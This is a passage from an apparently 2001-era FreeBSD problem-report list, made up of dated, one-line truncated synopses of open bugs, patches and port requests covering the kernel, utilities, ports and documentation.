silently if devi o [2001/02/15] misc/25109 Fujitsu MO device MCC3064AP could't be c o [2001/02/19] misc/25218 peter mailwrapper invokes sendmail when resourc o [2001/02/20] bin/25241 luigi ipfw shouldn't show dynamics rules when s f [2001/02/21] bin/25263 green openssh and /etc/login.access does not wo o [2001/02/21] bin/25273 add fs type feature to vnconfig(8) to all f [2001/02/21] kern/25275 X server freezes system randomly on pentu f [2001/02/22] bin/25278 dd bs accepts -s -c but not -sc o [2001/02/22] alpha/25284 alpha PC164 won't reboot with graphics console o [2001/02/23] ports/25313 wosch Script source displayed at http://www.nl. o [2001/02/26] misc/25378 kris update contrib/libgmp to newer version (3 o [2001/02/26] kern/25386 cg Incorrect mixer registers (line & synth) o [2001/02/26] docs/25405 wosch misleading warning from catman(1), etc. a [2001/02/27] ports/25419 ports Difficulties installing print/teTeX port o [2001/02/27] kern/25445 kernel statistics are displayed in wrong a [2001/02/28] ports/25448 ports mpmf20 fails to correctly display the dir f [2001/02/28] gnu/25459 Dumpvalue.pm says SYNOPSYS instead of SYN o [2001/02/28] bin/25462 daemon(3) fails if called by a session le f [2001/02/28] i386/25463 PS/2 mouse sync problems with KVM switch o [2001/03/01] bin/25477 billf pam_radius fix to allow null passwords fo o [2001/03/02] ports/25490 wosch [PATCH] fix various bugs in stat(1) a [2001/03/02] conf/25495 phantom missing et_EE.ISO_8859-15 locale a [2001/03/02] misc/25499 buffer paste functionality from keyboard o [2001/03/03] kern/25517 ARP cache timeout behavior can be improve o [2001/03/04] kern/25521 Laptop with FreeBSD4.2 freezes in battery f [2001/03/04] conf/25527 jdp `man ldconfig' does not reflect its behav o [2001/03/04] ports/25531 portmgr INSTALL_* macros fail for non-root users a [2001/03/05] ports/25560 ports New port: ftp/kbear: An ftp client for KD o [2001/03/05] ports/25564 obrien Port ups-debug doesn't build on the alpha o [2001/03/06] bin/25572 sshd core dump o [2001/03/06] ports/25576 jmz XFree86-4 port installs manual pages with s [2001/03/07] bin/25584 arp.c - better printed ether address s [2001/03/07] bin/25587 des Add Solaris-like functionality to truss(1 o [2001/03/07] bin/25598 patch to let ftpd output message when cha s [2001/03/09] bin/25627 Cannot append hash after .elif in Makefil o [2001/03/09] misc/25635 gad lpr -# didn't work on network printer a [2001/03/11] ports/25708 dougb pine4 port hard-code /usr/local/include a [2001/03/11] ports/25710 ports New port: news/slrn-pl, slrn with polish o [2001/03/11] bin/25723 green OpenSSH on 4.2 excessively regenerates RS o [2001/03/12] bin/25724 quota(1) outputs wrong limits about NFS q o [2001/03/12] kern/25733 mismatch between error reporting in smbus o [2001/03/12] bin/25736 ac -d option probrem with overdays logon o [2001/03/12] ports/25763 shige XV fails to refresh properly on image dis o [2001/03/13] kern/25777 atime not updated on exec o [2001/03/13] ports/25779 portmgr (patch) make fetch-list should list all m o [2001/03/14] gnu/25794 markm [PATCH] make perl use a decent random num f [2001/03/14] ports/25815 portmgr [PATCH] Port build collision fix. o [2001/03/15] conf/25829 IPSec config in rc.network doesn't allow o [2001/03/16] kern/25866 more than 256 ptys, up to 1302 ptys. o [2001/03/17] ports/25878 tegge error during compilation of linuxthreads o [2001/03/18] kern/25909 4.x kernel freezes on P3-Asus CUSL2-C mot o [2001/03/18] kern/25910 cg Kernel sound driver may die if a program o [2001/03/19] misc/25917 green Paste thrue SSH Secure Shell v.2.4.0 (bui f [2001/03/19] kern/25923 vm_map.h defines a macro called "min_offs o [2001/03/21] misc/25984 bsd.prog.mk doesn't link C++ programs pro f [2001/03/22] docs/26003 rwatson getgroups(2) lists NGROUPS_MAX but not sy o [2001/03/22] bin/26005 MIME quoted-printable encoding added to v a [2001/03/22] docs/26006 des Changing zone(9) man page o [2001/03/22] kern/26016 VMWare is crash on SMP machine f [2001/03/23] misc/26035 System hangs when playing mp3 on PCI Maes o [2001/03/27] conf/26145 [PATCH] There is no make.conf equivalent f [2001/03/27] misc/26153 sed G does not double space o [2001/03/28] ports/26192 ports apel appeared both in xemacs/site-package o [2001/03/29] bin/26201 telnet SRA password exchange trap when no a [2001/04/01] ports/26274 ports New port: Perl/TK Jabber client o [2001/04/01] kern/26277 ppc driver doesn't work with port 0x3BC p o [2001/04/02] docs/26286 doc *printf(3) etc should gain format string a [2001/04/02] ports/26297 ports New port: devel/florist o [2001/04/02] ports/26303 adrian Wrong permission on Squid24's errors dire a [2001/04/03] ports/26313 ports New Port: german/eagle: A tool for design o [2001/04/03] kern/26316 Booting FreeBSD on VMware2 with 2 or 3 et o [2001/04/03] misc/26323 Quota system create zero-length files o [2001/04/03] kern/26324 dillon Defaults for NFS mounts over TCP are slow o [2001/04/04] kern/26348 [pcvt] scon -s, page fault in HP mode o [2001/04/04] bin/26359 [PATCH] a minor nit in how netstat detect o [2001/04/05] misc/26373 Rpc.statd implements the SM_NOTIFY call b o [2001/04/06] bin/26375 markm PAMized su allows non-wheel members to su o [2001/04/06] kern/26385 VMWare reboots entire system after starti f [2001/04/08] kern/26437 Kernel Panics on SMP box when subjected t o [2001/04/09] kern/26454 cg mixer volume settings on Maestro-2E (Diam o [2001/04/09] bin/26468 pkg_delete clears dependencies after runn o [2001/04/10] conf/26488 incomplete named sandbox information a [2001/04/13] docs/26532 green ".Ql ?" becomes "`'?" through nroff (and a [2001/04/13] kern/26534 Add an option to ipfw to log gid/uid of w o [2001/04/13] kern/26547 "lnc" problem with shared memory mode wit o [2001/04/13] i386/26562 /dev/lpt0 returns EBUSY when attempting t o [2001/04/14] kern/26563 ioctl(SNDCTL_DSP_SPEED) returns -1 when f o [2001/04/14] kern/26584 kernel boot messages aren't logged correc o [2001/04/15] bin/26602 RELENG_4 ssh/sshd modifies the 'erase' ch f [2001/04/16] kern/26608 when boot Freebsd 4.2 Release from the c o [2001/04/16] kern/26618 unmount(2) can't unmount a filesystem who a [2001/04/16] ports/26628 ports New port: audio/qtecasound, well done o [2001/04/17] misc/26636 If /etc/ttys goes empty, init(8) never re o [2001/04/17] kern/26644 sos [PATCH] ATA/ATAPI driver doesn't implemen a [2001/04/17] misc/26646 srand() provides only 8-bit table o [2001/04/17] misc/26649 diskless client can't share root with ser o [2001/04/17] misc/26653 RTL8012 ethernet not listed in LINT or ha o [2001/04/17] misc/26658 update to src/usr.bin/calendar/calendars/ o [2001/04/18] misc/26678 Correction of: misc/26521 o [2001/04/18] bin/26686 Freeze at boot from 4.3-RC4 floopies - US o [2001/04/18] docs/26692 rnordier boot manpage describes bootfile prompt in o [2001/04/18] misc/26695 CHANGE REQUEST: kill(all) -l output o [2001/04/19] misc/26720 Both .cshrc and .profile should have the o [2001/04/20] kern/26740 rwatson [PATCH] jail improvement f [2001/04/22] misc/26763 darrenr installing ipfilter sample files to share o [2001/04/22] kern/26787 dd sysctl change request o [2001/04/23] kern/26798 cvsup 4.3-RC -> 4.3-STABLE causes problem o [2001/04/23] kern/26800 wpaul Support for Netgear MA-301 wireless o [2001/04/23] ports/26801 ports cyrus port should add periodic file to pr s [2001/04/23] bin/26803 des Fix fetch to allow FTP puts in '-o' & all o [2001/04/24] i386/26812 peter old bootstrap /sys/i386/boot/... still in a [2001/04/24] ports/26825 ports port xmms-avi won't compile libavixmms.so o [2001/04/25] bin/26854 Better fix for ESS Technology Maestro-2E o [2001/04/26] misc/26879 mkfilter not installed, yet referred to v s [2001/04/26] ports/26882 kde KDE should use ca-roots port for SSL cert a [2001/04/26] ports/26884 ports new port for visualworks 5i.3 o [2001/04/26] kern/26885 keichii add if_xe as kernel module o [2001/04/27] ports/26904 jim New port(?): net/everybuddy-i18n (i18n pa o [2001/04/28] bin/26919 qa sysinstall' fdisk can ONLY set bootable f o [2001/04/29] docs/26943 doc [patch] description of :C modifier is mis o [2001/04/30] i386/26994 obrien AMD Athlon Thunderbird not known to ident o [2001/05/01] kern/27008 kernel function sysbeep(xxx, 0) does prod o [2001/05/01] ports/27019 marcel patch supplied in PR ports/26976 breaks l o [2001/05/02] misc/27039 new syscons screensaver a [2001/05/02] docs/27040 dougb rc(8) and syscons(4) talk about rc.conf.l f [2001/05/02] misc/27041 modify src/release/Makefile to make anoth f [2001/05/03] bin/27063 darrenr /sbin/ipfs missing f [2001/05/03] conf/27070 darrenr save/restore IP Filter's state tables at o [2001/05/04] ports/27075 sobomax Port java/javavmwrapper installs no man p o [2001/05/04] ports/27079 sobomax Improvements for javavmwrapper? o [2001/05/06] bin/27163 cracauer sh trap TSTP () deadly hangs o [2001/05/06] ports/27167 ports ETHOberonV4 won't run a [2001/05/07] ports/27182 mharo Teach portlint to recognize RUN_DEPENDS=$ o [2001/05/07] ports/27187 jmz add linux ioctl handler to dri xf86-403 c o [2001/05/07] bin/27188 fix of rsh non-interactive mode behaviour o [2001/05/07] misc/27190 Day light savings in Mexico. o [2001/05/08] ports/27200 greid new port: bed (binary editor) o [2001/05/08] i386/27216 qa Can not get to shell prompt from serial c o [2001/05/09] kern/27232 On NFSv3 mounted filesystems, stat return o [2001/05/10] bin/27258 getty didn't check if if= isn't empty o [2001/05/11] bin/27268 fdisk does not recognize Linux extended p o [2001/05/11] kern/27269 Cannot mount linux extended (logical) par o [2001/05/11] bin/27270 cg sys/soundcard.h fails to define AFMT_S16_ o [2001/05/12] bin/27281 vidcontrol(1) does not have error codes f [2001/05/12] bin/27283 brian netstat -i missing IPv4 input packet coun o [2001/05/12] bin/27289 green SSH don't do correct diagnostic when no r o [2001/05/12] ports/27291 jim Bluefish port doesn't build mo files o [2001/05/12] bin/27294 paul pkg_update disregards suffixes (portrevis o [2001/05/13] i386/27306 mp hw watchpoints work unreliable under gdb o [2001/05/14] bin/27319 obrien df displays amd pid processes o [2001/05/15] kern/27342 change-request o [2001/05/17] kern/27403 lpt driver doesn't handle flags anymore o [2001/05/17] bin/27423 change request o [2001/05/18] kern/27429 'dependant' is a misspelling o [2001/05/18] bin/27433 ps binary does not do what the man page s o [2001/05/20] misc/27471 Linux emulation is missing code needed to o [2001/05/20] ports/27473 jmz when I install the package XFree86-4.0.3_ f [2001/05/22] ports/27542 sobomax xmps should not require gnome a [2001/05/23] ports/27569 ports bootup error problem with Apache 2 o [2001/05/23] kern/27571 bp Changing policy of shadowing files and di o [2001/05/23] bin/27604 change truncate to support low case size o [2001/05/24] i386/27627 machdep.tsc_freq does not exists on machi o [2001/05/25] misc/27633 Mapping for serbian keyboards, follows IS o [2001/05/25] docs/27653 doc Updates to send-pr.html to support MIME o [2001/05/26] docs/27654 doc Update to PR 27653 o [2001/05/26] kern/27660 Kernel does not return error if adding du o [2001/05/26] misc/27677 miss BIND name server library o [2001/05/27] bin/27687 fsck wrapper is not properly passing opti o [2001/05/27] bin/27697 assar trouble compiling libroken o [2001/05/31] gnu/27803 Enhancement to sort(1) a [2001/05/31] ports/27805 ports New port: SQL-Ledger Accounting o [2001/06/01] misc/27816 rpcgen -b generates server code which doe o [2001/06/01] misc/27829 kris pax's uid/gid cache is read-only a [2001/06/02] docs/27833 cjc No man page for locate.rc o [2001/06/02] kern/27834 Cannot warm-reboot Compaq AP400 due to SC o [2001/06/02] kern/27835 execve() doesn't conform to execve(2) spe o [2001/06/02] ports/27838 keichii dot.emacs is 600 s [2001/06/02] docs/27843 alex [PATCH] make.conf WITH_* variables aren't o [2001/06/02] kern/27849 dfr AGP RELEASE ioctl frees memory o [2001/06/04] misc/27872 "Load Config" (sysinstall) hangs Compaq D o [2001/06/06] ports/27903 peter Update: www/transproxy o [2001/06/06] docs/27915 doc man 5 passwd does not properly explain th o [2001/06/06] docs/27919 n_hibma missing usb man pages o [2001/06/06] docs/27921 markm manpage skey(1) should be skey(7) o [2001/06/07] alpha/27930 NE2000 not supported on FreeBSD Alpha 4.x o [2001/06/07] ports/27931 ports devel/pth vs. native pthreads conflict fi o [2001/06/07] alpha/27933 alpha Time jitter under load on FreeBSD 4.3 alp a [2001/06/07] ports/27936 mi Update /usr/ports/deskutils/xmdiary 3.0.1 a [2001/06/08] ports/27956 ports New port:A messenging client supporting A a [2001/06/08] conf/27959 imp Add cygwin termcap entry o [2001/06/08] bin/27972 losing information with talk o [2001/06/10] i386/28023 sendmail tries to get the netgraph.ko mod a [2001/06/11] conf/28078 /stand/sysinstall skips distro selection a [2001/06/11] conf/28081 murray /stand/sysinstall errs out if /cdrom/ alr a [2001/06/12] ports/28115 ports New Port - textproc/htmldoc o [2001/06/13] ports/28121 sobomax New port: 3D modelling and animation syst o [2001/06/13] ports/28138 tg python os.statvfs module is not functiona a [2001/06/15] bin/28171 des [PATCH] to support a HTTP_REFERER env var a [2001/06/15] gnu/28189 [PATCH] fix for detecting empty CVS commi o [2001/06/16] kern/28206 bp UMAPFS module should depend on NULLFS - p o [2001/06/17] misc/28236 [PATCH] iso-8859-1_to_cp437.scm doesn't c o [2001/06/17] kern/28247 pirzyk ATM/HARP driver for IDT and ForeLE ATM ca o [2001/06/18] misc/28255 picobsd documentation still references ol s [2001/06/18] kern/28260 UIO_MAXIOV needs to be made public a [2001/06/19] ports/28272 ports Update port: net/libsocket++ o [2001/06/20] bin/28294 dump of vinum based file systems by devic o [2001/06/20] kern/28297 change request for sys/i386/conf/NOTES o [2001/06/21] ports/28332 dwcjr Gimp manual port 1-2 years out of date, m o [2001/06/21] bin/28333 rtprio/idprio setuid problems s [2001/06/22] i386/28346 n_hibma USB ethernet dongle detach requires "ifco a [2001/06/23] ports/28363 ports New port: audacity-0.95 - a graphical wav o [2001/06/23] bin/28364 lex(1) generated files fail to compile cl o [2001/06/23] ports/28365 wosch Typical use of portchecheckout breaks int o [2001/06/23] docs/28371 phk malloc(2) man page correction o [2001/06/26] ports/28432 obrien [patch] comms/conserver fails with MD5 pa o [2001/06/26] bin/28435 [patch] allow newsyslog to signal process o [2001/06/27] bin/28449 cracauer sh(1) aborts on certain input a [2001/06/27] misc/28455 GNU readline should be updated to 4.2 o [2001/06/27] misc/28456 german keymap with dead keys o [2001/06/27] ports/28471 keith no iso8859 font o [2001/06/28] misc/28494 n_hibma ugen usable only from "attach" or by usbd o [2001/06/29] ports/28521 ports inconsistency: daemontools and serialmail o [2001/06/29] misc/28529 runetype.h doesn't have C++ 'extern "C"' f [2001/06/30] ports/28551 ports ports/mail/faces doesn't build (linking w o [2001/06/30] docs/28555 doc [PATCH] style(9) isn't explicit about boo o [2001/06/30] kern/28566 bp Mount_null loopbacks can hang startx temp o [2001/07/01] bin/28620 ru xinstall has no way to pass options to st o [2001/07/02] ports/28644 jmz Make error when rebuilding xdvi o [2001/07/03] ports/28678 wosch portcheckout doesn't allow flexible build o [2001/07/03] ports/28680 portmgr pkg_update complains about missing REQUIR o [2001/07/03] kern/28681 ATAPI MO drive support o [2001/07/03] ports/28682 portmgr Some port install builds fail if silent ( o [2001/07/04] docs/28699 doc strptime(3) %d format specifier not compl o [2001/07/05] ports/28717 billf net/net-snmp stop enumerate interfaces wh a [2001/07/05] ports/28758 roam New port: security/apg o [2001/07/06] ports/28771 ports opendx server fails to start o [2001/07/07] bin/28789 /usr/bin/last does not filter for uucp co o [2001/07/07] ports/28803 obrien ports/comms/conserver does not support ## o [2001/07/08] ports/28810 lioux qpopper 4.0.3 + PAM modification; HAVE_SH o [2001/07/08] bin/28820 tar and cpio cannot deal with files > 2GB o [2001/07/10] ports/28887 brian [PATCH] sandbox for httptunnel! o [2001/07/10] kern/28888 Acer 8000 NIC not detected correctly o [2001/07/11] misc/28890 merge.c compares int i against size_t siz o [2001/07/13] misc/28938 small PicoBSD - An update to the build script t a [2001/07/13] docs/28949 phk the mknod(8) man page stills refers to bl o [2001/07/14] bin/28972 dwmalone gamma returns same result as lgamma o [2001/07/14] i386/28975 mjacob RocketPort problems a [2001/07/14] kern/28976 yar ddb doesn't understand ctrl-u o [2001/07/14] misc/28980 Fujitsu/Siemens Lifebook E-6540 stalls wh o [2001/07/15] bin/28988 We need more simple message digesting too f [2001/07/15] docs/28994 dd New article for docproj "Checkpoint VPN-1 o [2001/07/16] ports/29009 dburr fsgs port installs cfg file with wrong pa o [2001/07/18] bin/29062 markm krb4 and krb5 multiply defined version sy o [2001/07/18] bin/29071 relay patch for rwhod o [2001/07/19] misc/29077 At loading notebook pccardd not correctly o [2001/07/19] docs/29088 phk jail(8) man page has innacurate instructi o [2001/07/19] misc/29089 Some kind of fsbn0 error... o [2001/07/19] bin/29090 add `no_rip_out' option to routed o [2001/07/20] misc/29103 make (1) dump core while processing ^C fr o [2001/07/21] bin/29119 menu of fdisk editor in 4.3R does not lis o [2001/07/22] docs/29143 doc List of man pages that need to be written o [2001/07/22] ports/29154 nik TeX resource settings from MAKE_ENV in pr o [2001/07/23] ports/29163 jmz XFree86-4 port should register XFree86-4- o [2001/07/23] bin/29164 maxim [PATCH] lack of 'Do not fragment' flag in f [2001/07/23] docs/29166 tomsoft Flaw in growfs(8) manpage o [2001/07/23] conf/29167 rc.pccard doesn't check /var/run/pccardd. o [2001/07/23] kern/29169 mjacob FC loop that 'goes away' never times out o [2001/07/23] bin/29175 tmm [PATCH] rpcgen(1) and inetdflag/pmflag su o [2001/07/23] bin/29177 [PATCH] rpc client create functions with o [2001/07/24] ports/29199 sobomax jdk12beta port should register open-motif o [2001/07/25] ports/29219 bp smbfs-1.4.1 don't compile o [2001/07/25] ports/29223 portmgr cyrus-imapd and postfix master.8 manpage o [2001/07/25] kern/29233 VIA 82C686 AC97 codec gets probed as 'chi o [2001/07/26] docs/29245 doc top(1) manpage doesn't understand SMP o [2001/07/26] ports/29248 jmz XFree86 4.1 hangs with an i815 chip while o [2001/07/27] kern/29264 Recovery from LIPs on FCAL using isp not o [2001/07/27] ports/29267 nbm Update the svscan.sh startup script for d a [2001/07/28] misc/29292 sos The functional addtion to burncd(8) o [2001/07/29] ports/29297 ports NEW PORT: System Maintenance Aid written o [2001/07/29] ports/29298 cpiazza Installation of documentation for vcdgear o [2001/07/29] alpha/29299 alpha FreeBSD 4.3 Alpha + Tekram SCSI adapter p o [2001/07/29] kern/29307 NIC Initialization fails on dual CPU syst o [2001/07/29] misc/29312 sound Using mixer on pcm misbehaves with onboar f [2001/07/29] kern/29318 mjacob Exabyte 8200 needs SA_QUIRK_1FM and SA_QU o [2001/07/30] gnu/29331 still documented broken options in gcc ma f [2001/07/30] ports/29332 ports Refiling New Port: ripem-2.1 o [2001/07/30] ports/29343 ports new postgresql7 port feature o [2001/07/31] ports/29346 ports New port: misc/afbackup-beta o [2001/07/31] kern/29355 adrian [patch] lchflags support o [2001/08/01] bin/29361 startslip can't load if_sl.ko o [2001/08/01] bin/29363 [PATCH] newsyslog can support time as ext o [2001/08/01] conf/29364 imp please add STI Flash 5.0 to pccard.config o [2001/08/02] ports/29392 portmgr Small built-time glitch in Makefile for a o [2001/08/02] kern/29395 reaction on ctrl-alt-del - poweroff, halt o [2001/08/03] kern/29423 [PATCH] kernel security hooks implementat o [2001/08/07] kern/29499 dwmalone it is not possible to send creditionals f [2001/08/07] ports/29514 ports new port submission: games/xlogical (SDL o [2001/08/07] bin/29516 markm telnet from an non FreeBSD host still use o [2001/08/07] ports/29519 ports X11 ports generate undef pthread refs wit o [2001/08/07] ports/29528 dburr Update misc/tvguide to 0.9.0 o [2001/08/07] misc/29529 dcs Boot prompt "?" command doesn't list "boo f [2001/08/08] kern/29538 joerg Mounting /dev/fd0 never completes o [2001/08/08] misc/29550 duplicate pings jinside of vmware 2.0 f [2001/08/09] docs/29571 doc [PATCH] No man page for pgrp kernel funct o [2001/08/09] bin/29581 proposed gethostbyXXXX_r() implementation f [2001/08/09] ports/29590 ports [new port] www/parser-bin One more server o [2001/08/11] kern/29621 n_hibma Missing man page for ulpt o [2001/08/11] ports/29638 green [patch] upgrade security/cfs a [2001/08/12] i386/29639 murray entry for zip 250 drives in /etc/disktab o [2001/08/13] bin/29675 lint fails on stdio.h f [2001/08/13] ports/29691 portmgr New port variable USE_COMPAT_LIB - bsd.po o [2001/08/14] kern/29698 linux ipcs doesn'work o [2001/08/15] kern/29727 amr_enquiry3 structure in amrreg.h (amr d o [2001/08/15] ports/29732 sobomax linking error f [2001/08/16] kern/29777 n_hibma kernel uscanner.c contains wrong vendor a f [2001/08/17] docs/29807 dd [PATCH] XFREE86_VERSION is undocumented f [2001/08/17] ports/29836 ports New port: cyrus-imspd f [2001/08/18] bin/29850 markm ftpd.c doesn't check via PAM/pam_acct_mgm o [2001/08/18] ports/29851 kuriyama ports/textproc/cocoon has a checksum erro f [2001/08/18] ports/29856 portmgr make extract of cyrus did an install of c o [2001/08/19] conf/29870 rc.diskless2 uses /usr/sbin/mtree before o [2001/08/19] kern/29875 CURRENT driver for Tekram DC395X and DC31 o [2001/08/19] ports/29883 markm Update textproc/par to 1.53 o [2001/08/20] misc/29893 qa suggestions for 4.4 sysinstall o [2001/08/20] bin/29897 markm pam_unix patch, which uses loginclass pas a [2001/08/20] docs/29902 www Mozilla package URL problems o [2001/08/20] kern/29915 kernel panics on interaction with mlock a o [2001/08/21] ports/29924 ports remove port smalleiffel-0.76.b4 o [2001/08/21] ports/29929 ports wginstall.pl script chokes on calculated o [2001/08/22] bin/29961 ru A4 paper size for groff knob for /etc/mak o [2001/08/22] kern/29962 sent broadcast packets get spurious 4 byt a [2001/08/22] ports/29969 gnome gnomedb does not build a [2001/08/23] docs/30008 doc This document should be translated, comme o [2001/08/23] ports/30012 dirk mod_php4 does not build on 4.4 with apach o [2001/08/24] kern/30052 dc(4) driver queues outgoing pkts indefin o [2001/08/25] docs/30082 jkoshy Dead URL on website o [2001/08/27] ports/30148 portmgr devel/libtool: shared libs with compaq-cc o [2001/08/28] kern/30160 Kernel panic when flash disk is removed a f [2001/08/28] ports/30166 ports ports/net/nettest2001 o [2001/08/28] kern/30179 FreeBSD 5.0 install hangs: deviceTry: mak o [2001/08/29] misc/30186 getaddrinfo does not handle incorrect ser o [2001/08/29] kern/30200 yokota Bug in psm in 4.4-RC o [2001/08/29] ports/30201 msmith editors/wordperfect in ports is not usabl o [2001/08/29] i386/30206 PS/2 server 85 can't boot kern.flp o [2001/08/29] misc/30213 Fatal Errors of Server Programe o [2001/08/30] misc/30224 No irq - PCI wi card doesn't allow interu o [2001/08/30] ports/30225 nectar mozilla 0.93 build problem o [2001/09/01] bin/30247 sh cannot redirect to /dev/fd/1 or from / f [2001/09/01] ports/30249 ports SmallEiffel update to -0.75 o [2001/09/01] docs/30253 bp [PATCH] mount_unionfs(8) and mount_nullfs o [2001/09/01] kern/30257 apm enabled kernel panics (4.4-RC) o [2001/09/02] ports/30264 greid Update port: graphics/xawtv o [2001/09/02] ports/30272 grog [PATCH] instant-workstation RUN_DEPENDS b o [2001/09/03] ports/30298 chuckr [PATCH] a2ps-4.13 can't cope with ENOMEM o [2001/09/03] conf/30301 Default printcap "mx" config too small o [2001/09/04] misc/30320 n_hibma USB mouse does not work after return'ing o [2001/09/04] bin/30321 strftime(3) '%s' format does not work pro o [2001/09/05] bin/30334 mount_nfs ignores acregmin, acregmax, axd o [2001/09/05] conf/30341 be keymap: wrong Capslock behaviour with o [2001/09/05] bin/30360 vmstat returns impossible data f [2001/09/06] ports/30383 sobomax Updated port: x11-toolkits/gtk-engines-co o [2001/09/06] bin/30392 sh: incorrect value of $? in here-documen o [2001/09/07] misc/30412 rtdl/dlopen() fails to merge common varia o [2001/09/07] kern/30422 WDT hardware watchdog driver & daemon o [2001/09/07] bin/30424 Generalization of vipw to lock pwdb while o [2001/09/08] conf/30441 Can't set interface arguments for dhcp co o [2001/09/08] docs/30442 doc remove broken referemce to gettime(9) fro o [2001/09/08] docs/30443 keramida remove broken reference to kerberos(1) fr o [2001/09/08] docs/30444 keramida remove broken references to gated(8) and o [2001/09/09] i386/30461 sound no audio cd with cmi8330 o [2001/09/09] bin/30464 jasone pthread mutex attributes -- pshared f [2001/09/09] bin/30471 brian periodic script output to a file always a o [2001/09/10] bin/30484 rpc.rstatd consumed lots of open file des o [2001/09/10] bin/30496 `host` does not work properly with top-le o [2001/09/10] ports/30499 portmgr libtool-1.4.1 port diffs o [2001/09/11] i386/30503 imp stray pccard card insertion events after o [2001/09/11] kern/30510 no apm for VIA KT133A chipset o [2001/09/11] ports/30511 kde Problem getting opengl/mesa to work with o [2001/09/11] misc/30517 using sysinstall with install.cfg has no o [2001/09/12] misc/30526 inserting a Sony Ninja-ATA pcmcia style c o [2001/09/12] misc/30536 sos burncd(8) doesn't wait long enough for CD o [2001/09/12] kern/30540 [PATCH] spelling and grammar fixes in a c o [2001/09/12] kern/30541 imp [PATCH] old pccard beep depends on value o [2001/09/12] bin/30542 [PATCH] add -q option to shut up killall s [2001/09/12] bin/30543 ru [PATCH] use err() instead of just exit() o [2001/09/12] bin/30546 [PATCH] /etc/rc pedantry o [2001/09/13] docs/30556 doc vnconfig man page incorrect; functionalit o [2001/09/13] ports/30557 ports bitchx fails to build when WITH_TCL=yes i o [2001/09/13] kern/30570 boot loader don't reacts on USB keyboard o [2001/09/14] ports/30573 nakai /usr/X11R6/bin/xfce_setup does not create o [2001/09/16] kern/30608 kern.ps_showallproc=0 doesn't limit queri f [2001/09/16] ports/30615 ports The 'bcwipe' port installs Linux binaries o [2001/09/16] docs/30618 keramida ediff man page incomplete o [2001/09/16] ports/30623 sobomax Update of the audio/glame port o [2001/09/17] ports/30625 ports [PATCH] vmware2 patch for -current with K o [2001/09/17] kern/30634 kevent.data value incorrect for UDP socke o [2001/09/17] bin/30639 apmd crashes on SIGHUP (under certain con o [2001/09/17] bin/30640 apmd does not terminate properly on SIGTE o [2001/09/18] misc/30647 "make release" in src/release/ creates po o [2001/09/18] bin/30661 FreeBSD-current fails to do partial NFS f o [2001/09/20] misc/30683 [PATCH] loader(8) fails to load module wh a [2001/09/20] bin/30685 cjc Patch for usr.bin/hexdump o [2001/09/20] ports/30698 ports New port: news/pl-slrn o [2001/09/20] i386/30700 sound Applications cannot synchronize sound usi o [2001/09/20] ports/30701 ports setiathome port misuses the 'nobody' user o [2001/09/21] ports/30707 ports midnight commander can't handle correctly o [2001/09/22] ports/30732 obrien bash2 - pkg-plist fix and sample files ad a [2001/09/22] bin/30737 murray sysinstall leaks file descriptors on rest o [2001/09/23] ports/30754 nakai x11/dgs port overwrites a number of files o [2001/09/23] ports/30777 portmgr add a 'make pkg-plist' make target in por o [2001/09/23] misc/30778 termcap problem with wyse-60 terminal o [2001/09/24] ports/30788 sobomax compile works, install fails of graphics/ o [2001/09/24] kern/30794 sound ESS Solo-1 does not work after suspend/re o [2001/09/24] i386/30808 sound t4dwave on Acer Alladin M5451 interrupt p o [2001/09/24] docs/30809 doc fdisk(8) cleanup o [2001/09/25] bin/30812 giant termcap database update o [2001/09/25] ports/30813 jmz Xfree86-4 port creates libfreetype.so.6 w o [2001/09/25] bin/30819 /bin/mv results in warnings when /bin/cp o [2001/09/25] kern/30836 wpaul Chipset SiS735 / NIC SiS 900 f [2001/09/26] ports/30845 ports New port: textproc/xerces-c: Xerces C++ X o [2001/09/26] ports/30848 roam courier imapd won't compile with vpopmail o [2001/09/26] ports/30849 ports news/nntpcache fails compiling authinfo_p o [2001/09/26] bin/30854 bootpd/bootpgw change - skip ARP modifica o [2001/09/26] misc/30857 intr_machdep.c allows access out of array f [2001/09/26] ports/30859 ports A New Port f [2001/09/26] i386/30860 While install after "Mounting root from u o [2001/09/27] bin/30863 bootpd/dovend.c Win95 compatibility impro o [2001/09/27] ports/30870 ports httpd in free(): warning: recursive call o [2001/09/27] docs/30873 doc ``ip'' man page does not specify byte ord o [2001/09/28] bin/30887 dump allways saves files with modified c- o [2001/09/29] bin/30907 green [PATCH] ssh configuration oddities o [2001/09/29] ports/30923 obrien small fix for devel/gindent port o [2001/09/30] ports/30929 brian [net/pppoa] use usbd to initialize USB AD o [2001/09/30] ports/30936 taoka pips-sc880 installed script contains inco o [2001/09/30] conf/30938 Improving behavior of /etc/periodic/daily o [2001/09/30] kern/30951 Optimize page queue scan on miss of speci o [2001/10/01] alpha/30970 alpha Ensoniq 1371 (Creative chipset) does not o [2001/10/01] bin/30972 peter nfsd and mountd are in the wrong location o [2001/10/01] ports/30979 ports New port for "txfonts" TeX's font package o [2001/10/02] ports/30983 portmgr [PATCH] Some staroffice cdrom fixes o [2001/10/02] ports/30986 obrien vim6 LITE=YES packing list incorrect o [2001/10/03] ports/31013 obrien John The Ripper Package Lists Bad Path o [2001/10/03] ports/31026 ports New Port: Internet Message Support Protoc o [2001/10/04] bin/31034 regularly add original address logging fo f [2001/10/04] ports/31037 ports NEW PORT: Krusader o [2001/10/04] kern/31043 Missing Ptrace functionality in Linuxulat o [2001/10/04] kern/31048 linprocfs:/proc/meminfo cannot handle mul o [2001/10/04] bin/31052 fenner Traceroute needs update o [2001/10/05] ports/31061 portmgr New port: security/gnupg-devel o [2001/10/06] bin/31088 tobez Make whereis.pl use strict, and a couple a [2001/10/06] ports/31093 ports new port "flyway" o [2001/10/06] ports/31096 znerd New port for jakarta-tomcat 4 o [2001/10/07] misc/31097 main thread will accept() failure when so o [2001/10/07] ports/31101 roam Update port: mail/vpopmail various requir o [2001/10/07] docs/31109 doc replace gif images w/ png ones due to pat o [2001/10/08] bin/31135 /bin/df reporting 'NaNB' as a Size. o [2001/10/08] ports/31142 portmgr patch-libtool target in bsd.port.mk break f [2001/10/09] ports/31159 cpiazza gmixer 0.98c dumps core with some mixers o [2001/10/09] docs/31164 doc man page for strftime is incorrect o [2001/10/10] bin/31199 tunefs error is incorrect when enabling s o [2001/10/10] conf/31200 Modification of rc.diskless1 needs change o [2001/10/10] bin/31201 [patch] add free_space(chunk) to libdisk o [2001/10/10] bin/31205 [PATCH] WARNSify and add a new option to o [2001/10/10] docs/31210 peter cvs info page missing -R a [2001/10/11] misc/31218 matusita How to build release from selected date a [2001/10/11] conf/31219 Missing cons25u entry in termcap o [2001/10/11] ports/31222 ports ports:astro/SETIsupport(version is 